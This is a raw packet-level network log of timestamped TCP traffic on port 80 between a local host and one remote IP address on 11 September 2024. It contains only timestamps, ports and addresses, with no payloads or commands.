Sep 11, 2024 22:52:08.044918060 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.044940948 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.044945955 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.044979095 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.044989109 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.045010090 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.045023918 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.045041084 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.045042038 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.045073032 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.045082092 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.045104980 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.045116901 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.045136929 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.045145988 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.045167923 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.045177937 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.045200109 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.045207024 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.045232058 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.045247078 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.045264006 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.045289993 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.045298100 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.045303106 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.045329094 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.045340061 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.045368910 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.045380116 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.045411110 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.045423031 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.045442104 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.045449972 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.045471907 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.045486927 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.045515060 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.045520067 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.045552015 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.045559883 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.045584917 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.045600891 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.045615911 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.045627117 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.045649052 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.045656919 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.045691967 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.045697927 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.045737028 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.045744896 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.045777082 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.045784950 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.045809031 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.045825958 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.045840979 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.045857906 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.045871973 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.045880079 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.045903921 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.045912027 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.045938969 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.045948029 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.045969963 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.045979023 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.046000957 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.046009064 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.046032906 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.046040058 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.046065092 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.046073914 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.046097994 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.046104908 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.046128988 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.046139002 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.046160936 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.046169043 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.046199083 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.129657030 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.129714012 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.129762888 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.129796982 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.129831076 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.129870892 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.129872084 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.129872084 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.129872084 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.129879951 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.129928112 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.129945040 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.129945040 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.129961014 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.129972935 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.130016088 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.130024910 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.130073071 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.130088091 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.130119085 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.130126953 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.130163908 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.130187035 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.130194902 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.130211115 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.130225897 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.130249023 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.130266905 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.130273104 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.130309105 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.130333900 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.130354881 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.130356073 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.130403996 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.130404949 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.130453110 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.130465031 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.130486012 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.130501986 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.130517960 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.130539894 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.130558014 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.130567074 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.130614042 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.130625963 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.130662918 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.130667925 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.130693913 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.130712032 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.130724907 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.130755901 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.130762100 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.130762100 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.130789995 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.130811930 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.130820036 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.130842924 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.130853891 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.130861044 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.130881071 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.130913019 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.130913973 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.130934000 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.130949020 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.130949974 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.130980015 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.131004095 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.131011963 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.131023884 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.131042957 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.131064892 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.131087065 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.131091118 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.131123066 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.131140947 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.131170988 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.131192923 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.131201982 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.131221056 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.131249905 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.131251097 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.131280899 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.131299019 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.131311893 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.131320000 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.131341934 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.131361008 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.131375074 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.131422997 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.131423950 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.131423950 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.131455898 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.131474018 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.131488085 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.131504059 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.131521940 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.131536007 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.131552935 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.131572962 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.131584883 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.131592989 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.131616116 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.131629944 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.131648064 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.131669998 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.131679058 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.131691933 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.131710052 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.131736994 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.131742001 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.131767035 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.131773949 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.131783962 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.131805897 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.131824970 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.131850004 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.131854057 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.131886005 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.131905079 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.131933928 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.131933928 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.131966114 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.131987095 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.131998062 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.132005930 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.132029057 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.132045984 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.132080078 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.132082939 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.132111073 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.132133007 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.132143021 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.132153988 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.132190943 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.132194042 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.132224083 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.132241011 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.132253885 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.132275105 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.132302999 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.132313967 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.132335901 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.132355928 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.132366896 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.132380009 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.132395029 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.132416010 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.132438898 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.132442951 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.132476091 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.132494926 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.132507086 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.132528067 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.132539988 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.132551908 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.132571936 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.132591963 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.132610083 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.132618904 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.132651091 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.132673025 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.132683992 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.132694006 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.132715940 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.132734060 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.132762909 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.132764101 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.132795095 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.132814884 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.132829905 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.132836103 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.132862091 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.132884026 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.132893085 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.132906914 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.132924080 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.132944107 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.132955074 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.132976055 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.132987022 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.133011103 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.133034945 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.133035898 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.133064985 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.133085012 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.133112907 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.133120060 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.133143902 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.133169889 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.133188963 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.133191109 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.133219004 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.133243084 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.133249998 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.133263111 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.133297920 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.133299112 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.133328915 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.133348942 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.133363962 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.133372068 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.133394957 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.133414984 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.133425951 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.133461952 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.133462906 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.133483887 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.133495092 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.133503914 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.133526087 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.133548021 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.133557081 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.133570910 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.133588076 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.133603096 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.133620977 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.133637905 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.133650064 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.133668900 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.133682013 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.133691072 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.133788109 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.133805037 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.133820057 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.133837938 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.133852005 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.133872986 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.133883953 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.133894920 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.133914948 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.133934975 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.133946896 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.133958101 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.133980036 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.133996964 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.134037971 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.217366934 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.217386007 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.217392921 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.217401028 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.217425108 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.217431068 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.217438936 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.217452049 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.217462063 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.217468023 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.217475891 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.217483044 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.217551947 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.217552900 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.217566967 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.217581987 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.217605114 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.217632055 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.217672110 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.217686892 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.217700005 CEST	80	49733	45.152.113.10	192.168.2.4
